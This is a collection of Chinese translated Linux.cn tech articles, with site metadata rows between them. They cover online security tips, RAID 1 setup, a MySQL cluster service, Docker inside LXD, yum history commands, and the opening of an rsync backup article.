对这些事件冷漠对待非常容易,但是你可以做很多事情来提高你的在线安全,这样当你被安全事件所困时,可以减少自己的风险,并快速保护自己免受进一步的损失。安全意识非常容易学习,并且许多开源项目可以帮助你。
安全的重点不是将你的计算机变成一个虚拟的 Fort Knox(LCTT 译注:Fort Knox 是一个美军基地,固若金汤之意),而是为了使别人访问你的数据足够困难,这样攻击者将转移到其他更容易的目标。

### 使用密码管理器
在一个几乎每个网站都要求用户名和密码的世界里,大多数人都因密码而疲惫不堪,于是开发了复杂的系统来创建和记住用户名和密码(或者干脆完全放弃,只使用相同的用户名和密码)。密码管理器是这个问题的解决方案,我还不知道不使用密码管理器的专业安全人员。此外,它们非常容易设置和使用。
对于以前没有使用过的人来说,密码管理器是一种软件,它就像一个信息的数字保险库,将信息存储在加密环境中。你创建的主密码是一个单一的强密码,用于保护包含用户名和密码集合的保险库。通常,当你连接到已知网站,密码管理器会自动输入存储的密码,它也可以生成强密码并允许你存储其他信息。
有大量的密码管理器可用,其中许多是自由及开源的解决方案。我在 Windows 上用过 [KeePass](http://keepass.info/),在 Linux 和 MacOS 上用过 [KeePassX](https://opensource.com/business/16/5/keepassx),我推荐使用它们作为开始。(这里还有三个[开源密码管理器](/article-8055-1.html),你可以尝试一下。)
然而,每个人应该选择他自己的最佳解决方案。某些密码管理器除了本地存储之外还具有云存储的功能,如果你使用多个设备,这将非常有用。受欢迎的管理器更有可能被维护并得到定期的安全更新。一些密码管理器集成双因子认证功能,我强烈建议你启用它。
大多数密码管理器都没有恢复忘记的主密码的功能。所以要明智地选择并确保主密码是你可以记住的。
### 使用 VPN 提高共享网络的安全性
虚拟专用网络(VPN)允许计算机通过共享网络发送和接收数据,就像它通过端到端加密直接与专用网络上的服务器通信一样。
您可能熟悉在办公室外工作时连接到公司内部网的过程。在咖啡馆或饭店使用连接到公共网络的 VPN,会保护你的通信数据不被公网上其他人看到,不过它无法阻止 VPN 供应商看到通信数据,而且确实存在不良 VPN 提供商收集和销售数据的现象。VPN 提供商也可能受到来自政府或执法机构的压力,将您通过其网络发送的数据信息传出。 因此,请记住,如果您正在进行非法活动,VPN 将不会保护你。
当选择 VPN 提供商时,请考虑其运营所在的国家,因为这关系到它所受约束的法律,有时甚至非常无关痛痒的活动都可能使您陷入困境。
[OpenVPN](https://openvpn.net/) 是一个自由开源的 VPN 协议,可在大多数平台上使用,并已成为最广泛使用的 VPN 之一。 您甚至可以托管您自己的 OpenVPN 服务器 -- 只是要小心,注意其安全性。如果您更希望使用 VPN 服务,请记住许多声誉良好的提供商都想要为您提供服务。
有些是收费的,如 [ExpressVPN](https://www.expressvpn.com/)、[NordVPN](https://nordvpn.com/) 或 [AirVPN](https://airvpn.org/)。一些提供商提供免费服务,但是,我强烈建议您不要使用它们。 请记住,当您使用免费服务时,您的数据就是产品。
### 浏览器扩展程序是您的朋友
虽然互联网浏览器有一些内置的安全工具,但是浏览器扩展仍然是提升您的隐私和安全的好方法。有很多种类的浏览器扩展,但哪些扩展是适合你的? 这可能取决于你使用互联网的主要目的和你对技术的掌握程度。作为基线,我会使用以下扩展:
* [Privacy Badger](https://www.eff.org/privacybadger):这个扩展,由 EFF 开发,阻止间谍广告和隐蔽的跟踪。它通过在流量请求中放置一个 Do Not Track 头,然后评估流量仍被跟踪的可能性。如果这种可能性很高,它会阻止来自该域的进一步流量(除非你另有说明)。该扩展使用 GNU GPL v3 许可证。
* [HTTPS Everywhere](https://www.eff.org/Https-everywhere):它是 EFF 和 Tor 项目之间的联合协作,此扩展确保尽可能自动使用 HTTPS。这很重要,因为它意味着您在给定域的网络流量是加密的,而不是明文,从而提供了隐私,并确保交换数据的完整性。该扩展使用 GNU GPL v3 许可证。
### 不要忘记旧帐户
你还记得 Bebo、iTunes Ping、Del.icio.us、Digg、MySpace 或 Friendster 吗?它们上面你有帐户吗?你关闭了帐户还是仅仅停止使用帐户?你曾经停下来想过有什么信息可能在这些网站上吗?是不是忘记了?
旧的社交媒体帐户是那些收集数据的人的金矿,包括营销人员,欺诈者和黑客等。他们可以使用这些信息来构建您的个人信息画像,这些信息通常可以在密码重置中用提供一些重要信息,例如您的第一只宠物的名字或您的第一辆车。
某些网站可能会让删除帐户变得困难或实际上不可能。[Justdelete.me](http://backgroundchecks.org/justdeleteme/) 是一个很好的资源,在这里可以找到各种平台上如何删除社交媒体帐户的操作说明。如果你正在寻找的网站不在那里,而且你自己找到了删除帐户的方法,你可以在 GitHub 上为该项目做贡献。如果您不确定您可能已忘记的社交媒体帐户,[Knowem.com](http://knowem.com/) 允许您按用户名搜索大量的社交网络。搜索工具也可能误报,而且你可能不是曾经使用特定用户名的唯一的人,但它是一个很好的开始,尽管不是开源的。
如果您不确定您可能使用的旧用户名,Google 是一个很好的资源。尝试搜索旧昵称和电子邮件地址,你可能会对你发现的事感到惊讶。
### 总结
无论数字安全的任务如何巨大,你都可以在开始使用时打下坚实的基础。记住,安全是一个持续的过程,而不是一种状态。保持您使用的工具最新,定期检查您的习惯和工具,确保您的安全尽可能的好。如果你每次一步一步的改变,安全就不会过于复杂。
---
作者简介:
Tiberius Hefflin - Tibbs 最近毕业于苏格兰西部大学,获得计算机安全学位。她已搬迁到波特兰,在为波特兰通用电气公司做安全保证工作。 她热衷于鼓励小孩子踏上 STEM(LCTT 译注:即 科学 Science,技术 Technology,工程 Engineering,数学 Mathematics)。
---
via: <https://opensource.com/article/17/1/4-ways-improve-your-online-security>
作者:[Tiberius Hefflin](https://opensource.com/users/whatatiberius) 译者:[livc](https://github.com/livc) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='opensource.com', port=443): Read timed out. (read timeout=10) | null |
8,231 | 如何在 RHEL 上设置 Linux RAID 1 | http://www.linuxroutes.com/linux-raid-1/ | 2017-02-23T09:16:00 | [
"RAID"
] | /article-8231-1.html | 
### 设置 Linux RAID 1
配置 LINUX RAID 1 非常重要,因为它提供了冗余性。
RAID 分区拥有高级功能,如冗余和更好的性能。所以让我们来说下如何实现 RAID,以及让我们来看看不同类型的 RAID:
* RAID 0(条带):磁盘组合在一起,形成一个更大的驱动器。这以可用性为代价提供了更好的性能。如果 RAID 中的任何一块磁盘出现故障,则整个磁盘集将无法使用。最少需要两块磁盘。
* RAID 1(镜像):磁盘从一个复制到另一个,提供了冗余。如果一块磁盘发生故障,则另一块磁盘接管,它有另外一份原始磁盘的数据的完整副本。其缺点是写入时间慢。最少需要两块磁盘。
* RAID 5(带奇偶校验的条带):磁盘类似于 RAID 0,并且连接在一起以形成一个大型驱动器。这里的区别是,一块磁盘用于奇偶校验位,这允许在单个磁盘发生故障时可以恢复磁盘。最少需要三块盘。
让我们继续进行 Linux RAID 1 配置。
安装 Linux RAID 1 的要求:
1、系统中应该安装了 mdam,请用下面的命令确认。
```
[root@rhel1 ~]# rpm -qa | grep -i mdadm
mdadm-3.2.2-9.el6.x86_64
[root@rhel1 ~]#
```
2、 系统应该连接了 2 块磁盘。
创建两个分区,一个磁盘一个分区(sdc、sdd),每个分区占据整块磁盘。
```
Disk /dev/sdc: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x67cc8cfb
Device Boot Start End Blocks Id System
/dev/sdc1 1 130 1044193+ 83 Linux
Disk /dev/sdd: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0294382b
Device Boot Start End Blocks Id System
/dev/sdd1 1 130 1044193+ 83 Linux
```
现在你可以用你已经创建好的两个分区来设置 RAID 1 了。你可以使用 `mdadm` 命令来创建 RAID 阵列。
```
Syntax: mdadm [options]
Options: -a, xx Adds a disk into a current array
-C, —create Creates a new RAID array
-D, —detail Prints the details of an array
-G, —grow Changes the size or shape of an active array
-f, xx Fails a disk in the array
-l, —level Specifies level (type) of RAID array to create
-n, —raid-devices Specifies the devices in the RAID array
-q, —quiet Species not to show output
-S, —stop Stops an array
-v, —verbose Provides verbose output
```
创建 Linux RAID 1 设备:
```
[root@rhel1 ~]# mdadm -Cv /dev/md0 --level=1 -n2 /dev/sdc1 /dev/sdd1
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
mdadm: size set to 1044181K
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
[root@rhel1 ~]#
```
使用下列命令查看新创建的 RAID 1 设备:
```
[root@rhel1 ~]# cat /proc/mdstat
Personalities : [raid1]
md0 : active raid1 sdd1[1] sdc1[0]
1044181 blocks super 1.2 [2/2] [UU]
unused devices: <none>
[root@rhel1 ~]# cat /proc/mdstat
Personalities : [raid1]
md0 : active raid1 sdd1[1] sdc1[0]
1044181 blocks super 1.2 [2/2] [UU]
unused devices: <none>
```
使用 mdadm 命令再次确认,RAID 1 已经创建好了。
```
[root@rhel1 ~]# mdadm -D /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Dec 7 15:50:06 2016
Raid Level : raid1
Array Size : 1044181 (1019.88 MiB 1069.24 MB)
Used Dev Size : 1044181 (1019.88 MiB 1069.24 MB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
Update Time : Wed Dec 7 15:50:12 2016
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0
Name : rhel1.lab.com:0 (local to host rhel1.lab.com)
UUID : d5c0f82e:4e0753e6:0b28c178:e6f75af4
Events : 17
Number Major Minor RaidDevice State
0 8 33 0 active sync /dev/sdc1
1 8 49 1 active sync /dev/sdd1
[root@rhel1 ~]#
```
使用下列命令格式化新创建的 Linux RAID 1 设备:
```
[root@rhel1 ~]# mkfs.ext4 /dev/md0
mke2fs 1.41.12 (17-May-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
65280 inodes, 261045 blocks
13052 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
8160 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 23 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
```
挂载 Linux RAID 1 设备:
```
[root@rhel1 ~]# mkdir /RAID1
[root@rhel1 ~]# mount /dev/md0 /RAID1
[root@rhel1 ~]# df -h /RAID1
Filesystem Size Used Avail Use% Mounted on
/dev/md0 1004M 18M 936M 2% /RAID1
[root@rhel1 ~]#
```
---
作者简介:
大家好!我是 Manmohan Mirkar。我很高兴见到你们!我在 10 多年前开始使用 Linux,我从来没有想过我会到今天这个地步。我的激情是帮助你们获取 Linux 知识。谢谢阅读!
---
via: <http://www.linuxroutes.com/linux-raid-1/>
作者:[Manmohan Mirkar](http://www.linuxroutes.com/author/admin/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPConnectionPool(host='www.linuxroutes.com', port=80): Max retries exceeded with url: /linux-raid-1/ (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7b83275834c0>: Failed to resolve 'www.linuxroutes.com' ([Errno -2] Name or service not known)")) | null |
8,232 | MySQL 集群服务简介 | http://www.tecmint.com/getting-started-with-mysql-clusters-as-a-service/ | 2017-02-23T10:44:00 | [
"MySQL",
"集群"
] | https://linux.cn/article-8232-1.html | [MySQL Cluster.me](https://www.mysqlcluster.me/) 开始提供基于 **Galera Replication** 技术的 **MySQL** 和 **MariaDB** 集群服务。
在本文中我们将会讨论 **MySQL** 和 **MariaDB** 集群服务的主要特性。

*MySQL 集群服务*
### 什么是 MySQL 集群
如果你曾经疑惑过如何提升 MySQL 数据库的可靠性和可扩展性,或许你会发现其中一个解决办法就是通过基于 **Galera Cluster** 技术的 **MySQL 集群**解决方案。
这项技术使得你可以在一个或者多个数据中心的多个服务器上获得经过同步的完整 MySQL 数据副本。这可以实现数据库的高可用性 - 当你的一个或者多个数据库服务器崩溃后,仍然能够从其它剩余服务器上获得完整的服务。
需要注意的是在 **MySQL 集群**中需要至少 3 台服务器,因为当其中一台服务器从崩溃中恢复的时候需要从仍然存活的两台服务器中选择一个**捐赠者**拷贝一份数据,所以为了能够从崩溃中顺利恢复数据,必须要保证两台在线服务器以便从中恢复数据。(LCTT 译注:在捐赠者提供复制数据时,另外一台可以不停顿地提供服务)
同样,MariaDB 集群和 MySQL 集群在本质上是相同的,因为 MariaDB 是基于 MySQL 开发的一个更新、更优化的版本。

*MySQL 集群与 Galera 复制技术*
### 什么是 MySQL 和 MariaDB 集群服务?
**MySQL 集群**服务提供了能够同时解决可靠性和可扩展性的方案。
首先,集群服务使你能够忽略任何数据中心引起的问题,并能获得高达 **100% 正常运行时间**的数据库高可用性。
其次,将乏味无趣的 MySQL 集群相关管理工作外包出去,能够使你更加专注于业务工作。
事实上,独立管理一个集群需要你能够完成以下所有工作:
1. **安装和设置集群** – 这可能需要一个有经验的数据库管理员花费数小时来设置一个可用的集群。
2. **集群监控** – 必须使用一种方案 24 \* 7 监控集群运作,因为很多问题都可能发生-集群不同步、服务器崩溃、硬盘空间满等。
3. **优化及调整集群大小** – 当你管理了很大的数据库时,调整集群大小将会是一个巨大的挑战。处理这个任务时需要格外小心。
4. **备份管理** – 为了防止集群失败带来的危险,你需要备份集群数据。
5. **解决问题** – 你需要一个经验丰富的工程师来对集群进行优化及解决相关问题。
但是现在你只需要通过使用 **MySQLcluster.me** 团队提供的 **MySQL 集群服务**就可以节省大量的时间和金钱。
**MySQLcluster.me 提供的 MySQL 集群服务包括了哪些内容?**
除了很多高可用性数据服务提供的 **100%** 可用性外,你还将获得如下保证:
1. **任何时候都可以调整 MySQL 集群大小** – 你可以增加或者减少集群资源(包括 RAM、CPU、DISK)以便满足业务尖峰需求。
2. **优化硬盘和数据库的性能** – 硬盘能够达到**10000 IOPS**,这对数据库操作十分重要。
3. **数据中心选择** – 你可以选择将集群布置在哪个数据中心。当前支持的数据中心有:Digital Ocean、 Amazon AWS、 RackSpace、 Google Compute Engine。
4. **24×7 集群服务支持** – 我们的团队能够为你集群上发生的任何问题提供支持,甚至包括对你的集群架构提供建议。
5. **集群备份** – 我们团队会为你设置备份,这样你的集群数据能够每天备份到安全的地方。
6. **集群监控** – 我们团队设置了自动监控以便能够及时发现你的集群出现的问题,并提供支持,哪怕你并没有在值班。
拥有自己的 **MySQL 集群**会有很多优势,但是需要你足够耐心和有经验才行。
与 [MySQL Cluster](https://www.mysqlcluster.me/) 团队联系以便找到适合你的工具包.
---
作者简介:
我是 Ravi Saive,开发了 TecMint。电脑极客和 Linux 专家,喜欢分享关于互联网的建议和点子。我的大部分服务都运行在开源平台 Linux 上。关注我的 Twitter、Facebook 和 Google+。
---
via: <http://www.tecmint.com/getting-started-with-mysql-clusters-as-a-service/>
作者:[Ravi Saive](http://www.tecmint.com/author/admin/) 译者:[beyondworld](https://github.com/beyondworld) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,235 | LXD 2.0 系列(七):LXD 中的 Docker | https://www.stgraber.org/2016/04/13/lxd-2-0-docker-in-lxd-712/ | 2017-02-24T08:14:00 | [
"容器",
"LXD"
] | https://linux.cn/article-8235-1.html | 这是 LXD 2.0 系列介绍文章的第七篇。
1. [LXD 入门](/article-7618-1.html)
2. [安装与配置](/article-7687-1.html)
3. [你的第一个 LXD 容器](/article-7706-1.html)
4. [资源控制](/article-8072-1.html)
5. [镜像管理](/article-8107-1.html)
6. [远程主机及容器迁移](/article-8169-1.html)
7. [LXD 中的 Docker](/article-8235-1.html)
8. [LXD 中的 LXD](/article-8257-1.html)
9. [实时迁移](/article-8263-1.html)
10. [LXD 和 Juju](/article-8273-1.html)
11. [LXD 和 OpenStack](/article-8274-1.html)
12. [调试,及给 LXD 做贡献](/article-8282-1.html)

### 为什么在 LXD 中运行 Docker
正如我在[系列的第一篇](/article-7618-1.html)中简要介绍的,LXD 的重点是系统容器,也就是我们在容器中运行一个完全未经修改的 Linux 发行版。LXD 的所有意图和目的并不在乎容器中的负载是什么。它只是设置容器命名空间和安全策略,然后运行 `/sbin/init` 来生成容器,接着等待容器停止。
应用程序容器,例如由 Docker 或 Rkt 所实现的应用程序容器是非常不同的,因为它们用于分发应用程序,通常在它们内部运行单个主进程,并且比 LXD 容器生命期更短暂。
这两种容器类型不是相互排斥的,我们的确看到使用 Docker 容器来分发应用程序的价值。这就是为什么我们在过去一年中努力工作以便让 LXD 中运行 Docker 成为可能。
这意味着,使用 Ubuntu 16.04 和 LXD 2.0,您可以为用户创建容器,然后可以像正常的 Ubuntu 系统一样连接到这些容器,然后运行 Docker 来安装他们想要的服务和应用程序。
### 要求
要让它正常工作要做很多事情,Ubuntu 16.04 上已经包含了这些:
* 支持 CGroup 命名空间的内核(4.4 Ubuntu 或 4.6 主线内核)
* 使用 LXC 2.0 和 LXCFS 2.0 的 LXD 2.0
* 一个自定义版本的 Docker(或一个用我们提交的所有补丁构建的)
* Docker 镜像,其受限于用户命名空间限制,或者使父 LXD 容器成为特权容器(`security.privileged = true`)
### 运行一个基础的 Docker 载荷
说完这些,让我们开始运行 Docker 容器!
首先你可以用下面的命令得到一个 Ubuntu 16.04 的容器:
```
lxc launch ubuntu-daily:16.04 docker -p default -p docker
```
`-p default -p docker` 表示 LXD 将 `default` 和 `docker` 配置文件应用于容器。`default` 配置文件包含基本网络配置,而 `docker` 配置文件告诉 LXD 加载几个必需的内核模块并为容器设置一些挂载。 `docker` 配置文件还支持容器嵌套。
现在让我们确保容器是最新的并安装 docker:
```
lxc exec docker -- apt update
lxc exec docker -- apt dist-upgrade -y
lxc exec docker -- apt install docker.io -y
```
就是这样!你已经安装并运行了一个 Docker 容器。
现在让我们用两个 Docker 容器开启一个基础的 web 服务:
```
stgraber@dakara:~$ lxc exec docker -- docker run --detach --name app carinamarina/hello-world-app
Unable to find image 'carinamarina/hello-world-app:latest' locally
latest: Pulling from carinamarina/hello-world-app
efd26ecc9548: Pull complete
a3ed95caeb02: Pull complete
d1784d73276e: Pull complete
72e581645fc3: Pull complete
9709ddcc4d24: Pull complete
2d600f0ec235: Pull complete
c4cf94f61cbd: Pull complete
c40f2ab60404: Pull complete
e87185df6de7: Pull complete
62a11c66eb65: Pull complete
4c5eea9f676d: Pull complete
498df6a0d074: Pull complete
Digest: sha256:6a159db50cb9c0fbe127fb038ed5a33bb5a443fcdd925ec74bf578142718f516
Status: Downloaded newer image for carinamarina/hello-world-app:latest
c8318f0401fb1e119e6c5bb23d1e706e8ca080f8e44b42613856ccd0bf8bfb0d
stgraber@dakara:~$ lxc exec docker -- docker run --detach --name web --link app:helloapp -p 80:5000 carinamarina/hello-world-web
Unable to find image 'carinamarina/hello-world-web:latest' locally
latest: Pulling from carinamarina/hello-world-web
efd26ecc9548: Already exists
a3ed95caeb02: Already exists
d1784d73276e: Already exists
72e581645fc3: Already exists
9709ddcc4d24: Already exists
2d600f0ec235: Already exists
c4cf94f61cbd: Already exists
c40f2ab60404: Already exists
e87185df6de7: Already exists
f2d249ff479b: Pull complete
97cb83fe7a9a: Pull complete
d7ce7c58a919: Pull complete
Digest: sha256:c31cf04b1ab6a0dac40d0c5e3e64864f4f2e0527a8ba602971dab5a977a74f20
Status: Downloaded newer image for carinamarina/hello-world-web:latest
d7b8963401482337329faf487d5274465536eebe76f5b33c89622b92477a670f
```
现在这两个 Docker 容器已经运行了,我们可以得到 LXD 容器的 IP 地址,并且访问它的服务了!
```
stgraber@dakara:~$ lxc list
+--------+---------+----------------------+----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+--------+---------+----------------------+----------------------------------------------+------------+-----------+
| docker | RUNNING | 172.17.0.1 (docker0) | 2001:470:b368:4242:216:3eff:fe55:45f4 (eth0) | PERSISTENT | 0 |
| | | 10.178.150.73 (eth0) | | | |
+--------+---------+----------------------+----------------------------------------------+------------+-----------+
stgraber@dakara:~$ curl http://10.178.150.73
The linked container said... "Hello World!"
```
### 总结
就是这样了!在 LXD 容器中运行 Docker 容器真的很简单。
现在正如我前面提到的,并不是所有的 Docker 镜像都会像我的示例一样,这通常是因为 LXD 带来了额外的限制,特别是用户命名空间。
在这种模式下只有 Docker 的 overlayfs 存储驱动可以工作。该存储驱动有一组自己的限制,这进一步限制了在该环境中可以有多少镜像工作。
如果您的负载无法正常工作,并且您信任该 LXD 容器中的用户,你可以试下:
```
lxc config set docker security.privileged true
lxc restart docker
```
这将取消激活用户命名空间,并以特权模式运行容器。
但是请注意,在这种模式下,容器内的 root 与主机上的 root 是相同的 uid。现在有许多已知的方法让用户脱离容器,并获得主机上的 root 权限,所以你应该只有在信任你的 LXD 容器中的用户可以具有主机上的 root 权限才这样做。
### 额外信息
LXD 的主站在: <https://linuxcontainers.org/lxd>
LXD 的 GitHub 仓库: <https://github.com/lxc/lxd>
LXD 的邮件列表: <https://lists.linuxcontainers.org>
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
---
作者简介:我是 Stéphane Graber。我是 LXC 和 LXD 项目的领导者,目前在加拿大魁北克蒙特利尔的家所在的Canonical 有限公司担任 LXD 的技术主管。
---
via: <https://www.stgraber.org/2016/04/13/lxd-2-0-docker-in-lxd-712/>
作者:[Stéphane Graber](https://www.stgraber.org/author/stgraber/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,236 | 使用 Yum 历史查找已安装或已删除的软件包信息 | http://www.tecmint.com/view-yum-history-to-find-packages-info/ | 2017-02-24T09:47:00 | [
"Yum",
"历史"
] | https://linux.cn/article-8236-1.html | [Yum](https://linux.cn/tag-yum.html) 是 RHEL/CentOS 的一个基于 rpm 的交互式高级包管理器,用户可以用它来安装新的软件包、卸载或清除旧的/不需要的软件包。它可以[自动运行系统更新](/article-8015-1.html),并执行依赖分析,对已安装的或可用的软件包进行查询等等。
在本文中,我们将解释如何查看 Yum 事务的历史记录,以便于了解有关安装的软件包以及从系统中所卸载/清除软件包的信息。

**推荐阅读:** [20 条关于 Linux 软件包管理的 Yum 命令](http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/)
以下是一些如何使用 Yum 历史命令的示例。
### 查看完整的 Yum 历史
要查看 Yum 事务完整的历史记录,我们可以运行以下命令,然后将显示:事务 ID、执行特定操作的用户、操作发生的日期和时间、实际操作以及任何错误的附加信息与操作:
```
# yum history
```

### 使用 Yum 查找软件包信息
`history` 的子命令:`info`/`list`/`summary` 可以将事务 ID 或包名作为参数。此外,`list` 子命令可以加上特殊的参数,`all` 表示所有的事务。
运行以下命令查看先前的历史:
```
# yum history list all
```
并且,你可以使用下面的 `info` 命令查看涉及指定软件包的事务详情,例如 `httpd`:
```
# yum history info httpd
```

发出以下命令可以获得包含 `httpd` 软件包的事务的摘要:
```
# yum history summary httpd
```

还可以使用事务的 ID 来查找,以下命令会显示 ID 为 `15` 的事务的详情。
```
# yum history info 15
```

### 使用 yum history 查找软件包事务信息
有一些用于打印某个或多个软件包事务详情的子命令。我们可以使用 `package-list` 或 `package_info` 查看关于 `httpd` 的更多信息,例如:
```
# yum history package-list httpd
或
# yum history package-info httpd
```

要得到多个软件包的记录,我们可以运行:
```
# yum history package-list httpd epel-release
或
# yum history packages-list httpd epel-release
```

### 使用 Yum 回滚软件包
此外,还有一些 `history` 的子命令可以让我们撤销/重做/回滚事务。
1. `undo` - 会撤销一个指定的事务。
2. `redo` - 重复一次指定的事务。
3. `rollback` - 撤销指定事务之后的所有事务。
它们采用单个事务 id 或关键字 `last` 和从最后一个事务开始的偏移量。
例如,假设我们已经做了 60 个事务,`last` 是指事务 60,`last-4` 指向事务 56。
**推荐阅读:** [怎样使用 `yum-utils` 来维护以及加速 Yum](http://www.tecmint.com/linux-yum-package-management-with-yum-utils/)
以上子命令是如下工作的:如果我们有 5 个事务——V,W,X,Y 和 Z,其中分别是安装各个软件包的。
```
# yum history undo 2 #将删除软件包 W
# yum history redo 2 #将重新安装软件包 W
# yum history rollback 2 #将删除软件包 X、 Y 和 Z
```
在下面的示例中,事务 2 是一个更新操作,如下所示,以下 `redo` 命令将重复事务 2 直到所有软件包到更新到当前时间的最新版本:
```
# yum history | grep -w "2"
```

```
# yum history redo 2
```

`redo` 子命令同样可以在我们指定事务之前加上一些可选的参数:
1. `force-reinstall` - 重新安装所有在此事务中安装的软件包(通过 `yum install`、`upgrade` 或 `downgrade`)。
2. `force-remove` - 移除所有已经更新或回滚的软件包。
```
# yum history redo force-reinstall 16
```

### 查找 Yum 历史数据库和来源信息
这些子命令为我们提供有关历史记录数据库和其它信息来源的信息:
1. `addon-info` - 提供更多的信息来源。
2. `stats` - 显示当前历史数据库的统计信息。
3. `sync` - 使我们能够更改为所有已安装软件包存储的 `rpmdb`/`yumdb` 数据。
看一下以下的命令的子命令实际上是怎样工作的:
```
# yum history addon-info
# yum history stats
# yum history sync
```
使用 `new` 子命令设置新的历史文件:
```
# yum history new
```
我们可以在 yum 手册页找到关于 Yum `history` 命令和其它几个命令的完整信息:
```
# man yum
```
**推荐阅读:** [4 个使用 Yum 禁用/锁定某些软件包更新的方法](http://www.tecmint.com/yum-lock-disable-blacklist-certain-package-update-version/)
就是这么多了。在本篇指南中,我们介绍了各种 Yum `history` 命令,以查看 Yum 事务的详细信息。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 的爱好者,目前任 TecMint 的作者,志向是一名 Linux 系统管理员、web 开发者。他喜欢用电脑工作,并热衷于分享知识。
---
via: <http://www.tecmint.com/view-yum-history-to-find-packages-info/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[OneNewLife](https://github.com/OneNewLife) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,237 | 使用 rsync 来备份 Linux 系统 | https://opensource.com/article/17/1/rsync-backup-linux | 2017-02-24T16:26:00 | [
"备份",
"rsync"
] | https://linux.cn/article-8237-1.html |
>
> 探索 rsync 在备份方案中的作用。
>
>
>
在系统管理员的工作中备份无疑是一个重要的部分。当没有完整备份或者良好规划的备份和实施时,就可能或早或晚不可挽回地丢失重要的数据。
所有公司,无论大小,都运营在数据之上。考虑到丢失业务数据造成的经济和业务损失,从最小的个人公司到最大的跨国企业,没有一个公司能在丢失大部分数据以后得以幸存。你的办公室可以通过保险赔偿重建,但是你的数据就不可能再恢复了。
这里提到的丢失是指数据的完全损坏。而不是指数据被偷走,那是另一种灾难。我这里说的是数据被完全摧毁。
即使你只是个人用户而不是一个企业,备份你自己的数据也是非常重要的,我有二十年来的个人财务数据和我现在已经关闭的企业的数据,以及大量的电子发票。也包括近年来我创作的大量不同类型的文档、报告和数据报表。我不想失去任何这些数据。
所以备份是我数据长期安全的必要保障。

### 备份软件选择
有许多软件可以执行备份。大多数 Linux 发行版提供至少一种开源的备份软件。同时也有许多商业备份软件,但是这些都不符合我的需求,所以我决定使用基础的 Linux 工具来进行备份。
在我为 Open Source Yearbook 写的文章, [最佳搭档之 2015:tar 和 ssh](https://opensource.com/business/15/12/best-couple-2015-tar-and-ssh) 中,我说明了昂贵的商业备份软件在设计实施可行的备份计划中并不是必要的。
从去年开始我尝试了另一种选择, [rsync](https://en.wikipedia.org/wiki/Rsync) 命令,它有许多我已经从中受益的有趣特性。我的主要需求是所创建的备份,用户不需要解压备份压缩包就能定位和恢复文件,以便节约创建备份的时间。
这篇文章的目的只是为了说明 rsync 在我的备份方案中的作用。并不是 rsync 的全部能力或者它的各种适用场景的概览。
### rsync 命令
Andrew Tridgell 和 Paul Mackerras 编写了 rsync ,首次发布于 1996 年。它的目标是向另一台电脑同步文件。你注意到了他们为什么取这个名字了吗(remotely synchronize)?它是大多数发行版都提供的开源软件。
rsync 能够用于同步两个目录或目录树,无论它们是在同一个计算机上还是不同的计算机上,而且不仅如此,它还能做到更多。它创建或者更新的目录与源目录完全一样。新的目录不是以 tar 或 zip 等打包存储,而是普通的目录和文件,常见的 Linux 工具都能轻松访问,而这正是我所需要的。
rsync 的最重要的特性之一是它处理源目录被修改的已有文件的方式。它使用分块校验来比较源文件和目标文件,而不是从源把整个文件复制过去。如果两个文件所有块的校验和都相同,那么就不用传输数据。否则只有被改变的块被传输。这样节约了远程同步消耗的大量时间和带宽。比如,我第一次使用 rsync 脚本来把我所有的主机备份到一个外接的大型 usb 硬盘上需要三个小时,因为所有的数据都需要传输过去。而接下来的备份需要的时间就只是 3 到 8 分钟,这取决于上次备份以来创建和改变了多少文件。我使用 `time` 命令来记录实际花费的时间。昨天晚上,我只花了三分钟来从六个远程系统和本地工作站备份大概 750 Gb 数据。实际上只有在白天改变的几百 Mb 数据需要备份。
